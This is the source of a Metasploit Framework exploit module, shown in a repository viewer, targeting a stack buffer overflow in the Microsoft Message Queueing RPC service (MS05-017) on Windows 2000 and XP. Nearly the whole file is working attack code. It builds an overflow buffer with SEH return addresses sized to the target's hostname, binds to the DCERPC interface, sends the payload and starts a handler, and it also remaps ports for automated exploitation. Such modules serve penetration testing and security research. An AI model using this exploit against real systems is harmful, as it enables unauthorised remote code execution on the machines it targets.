root / modules / exploits / windows / dcerpc / ms05_017_msmq.rb @ master
History | View | Annotate | Download (4.3 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = GoodRanking |
| 18 |
|
| 19 |
include Msf::Exploit::Remote::DCERPC |
| 20 |
include Msf::Exploit::Remote::Seh |
| 21 |
|
| 22 |
def initialize(info = {}) |
| 23 |
super(update_info(info,
|
| 24 |
'Name' => 'Microsoft Message Queueing Service Path Overflow', |
| 25 |
'Description' => %q{ |
| 26 |
This module exploits a stack buffer overflow in the RPC interface |
| 27 |
to the Microsoft Message Queueing service. The offset to the |
| 28 |
return address changes based on the length of the system |
| 29 |
hostname, so this must be provided via the 'HNAME' option. |
| 30 |
Much thanks to snort.org and Jean-Baptiste Marchand's |
| 31 |
excellent MSRPC website. |
| 32 |
|
| 33 |
},
|
| 34 |
'Author' => [ 'hdm' ], |
| 35 |
'License' => MSF_LICENSE, |
| 36 |
'Version' => '$Revision$', |
| 37 |
'References' =>
|
| 38 |
[ |
| 39 |
[ 'CVE', '2005-0059'], |
| 40 |
[ 'OSVDB', '15458'], |
| 41 |
[ 'MSB', 'MS05-017'], |
| 42 |
[ 'BID', '13112'], |
| 43 |
], |
| 44 |
'Privileged' => true, |
| 45 |
'Payload' =>
|
| 46 |
{
|
| 47 |
'Space' => 1024, |
| 48 |
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff", |
| 49 |
'StackAdjustment' => -3500, |
| 50 |
|
| 51 |
}, |
| 52 |
'Targets' =>
|
| 53 |
[ |
| 54 |
[ |
| 55 |
'Windows 2000 ALL / Windows XP SP0-SP1 (English)',
|
| 56 |
{
|
| 57 |
'Platform' => 'win', |
| 58 |
'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe |
| 59 |
}, |
| 60 |
], |
| 61 |
], |
| 62 |
'DisclosureDate' => 'Apr 12 2005', |
| 63 |
'DefaultTarget' => 0)) |
| 64 |
|
| 65 |
# Change the default port values to point at MSMQ
|
| 66 |
register_options( |
| 67 |
[ |
| 68 |
Opt::RPORT(2103), |
| 69 |
OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]), |
| 70 |
], self.class)
|
| 71 |
end
|
| 72 |
|
| 73 |
def autofilter |
| 74 |
# Common vulnerability scanning tools report port 445/139
|
| 75 |
# due to how they test for the vulnerability. Remap this
|
| 76 |
# back to 2103 for automated exploitation
|
| 77 |
|
| 78 |
rport = datastore['RPORT'].to_i
|
| 79 |
if ( rport == 445 or rport == 139 ) |
| 80 |
datastore['RPORT'] = 2103 |
| 81 |
end
|
| 82 |
|
| 83 |
# The NetBIOS hostname is required to exploit this bug reliably.
|
| 84 |
if (not datastore['HNAME']) |
| 85 |
# XXX automatically determine the hostname
|
| 86 |
return false |
| 87 |
end
|
| 88 |
|
| 89 |
true
|
| 90 |
end
|
| 91 |
|
| 92 |
def exploit |
| 93 |
|
| 94 |
# MSMQ supports three forms of queue names, the two we can use are
|
| 95 |
# the IP address and the hostname. If we use the IP address via the
|
| 96 |
# TCP: format, the offset to the SEH frame will change depending on
|
| 97 |
# the length of the real hostname. For this reason, we force the user
|
| 98 |
# to supply us with the actual hostname.
|
| 99 |
|
| 100 |
# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName
|
| 101 |
|
| 102 |
queue_name = "OS:#{datastore['HNAME']}";
|
| 103 |
queue_hlen = datastore['HNAME'].length * 2 |
| 104 |
queue_path = unicode(queue_name + "\\PRIVATE$\\")
|
| 105 |
|
| 106 |
buf = rand_text_english(4000, payload_badchars)
|
| 107 |
|
| 108 |
# Windows 2000 SEH offset goes first
|
| 109 |
buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V') |
| 110 |
buf[372 - queue_hlen - 4, 2] = "\xeb\x22" |
| 111 |
|
| 112 |
# Windows XP SEH offset goes second
|
| 113 |
seh = generate_seh_payload(target['Rets'][1]) |
| 114 |
buf[400 - queue_hlen - 4, seh.length] = seh |
| 115 |
|
| 116 |
# Append the path to the location and null terminate it
|
| 117 |
queue_path << buf << "\x00\x00"
|
| 118 |
|
| 119 |
# Get the unicode length of this string
|
| 120 |
queue_plen = queue_path.length / 2
|
| 121 |
|
| 122 |
connect |
| 123 |
print_status("Trying target #{target.name}...")
|
| 124 |
|
| 125 |
handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) |
| 126 |
print_status("Binding to #{handle} ...")
|
| 127 |
dcerpc_bind(handle) |
| 128 |
print_status("Bound to #{handle} ...")
|
| 129 |
|
| 130 |
stubdata = |
| 131 |
NDR.long(1) + |
| 132 |
NDR.long(1) + |
| 133 |
NDR.long(1) + |
| 134 |
NDR.long(3) + |
| 135 |
NDR.long(3) + |
| 136 |
NDR.long(2) + |
| 137 |
NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)
|
| 138 |
|
| 139 |
print_status('Sending exploit ...')
|
| 140 |
|
| 141 |
response = dcerpc.call(9, stubdata)
|
| 142 |
|
| 143 |
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) |
| 144 |
case dcerpc.last_response.stub_data
|
| 145 |
when "\x20\x00\x0e\xc0" |
| 146 |
print_status("The server rejected our request, the HNAME parameter could be incorrect")
|
| 147 |
when "\x1e\x00\x0e\xc0" |
| 148 |
print_status("The server does not appear to be exploitable")
|
| 149 |
else
|
| 150 |
print_status("An unknown response was received from the server:")
|
| 151 |
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0]) |
| 152 |
end
|
| 153 |
end
|
| 154 |
|
| 155 |
handler |
| 156 |
disconnect |
| 157 |
end
|
| 158 |
|
| 159 |
end
|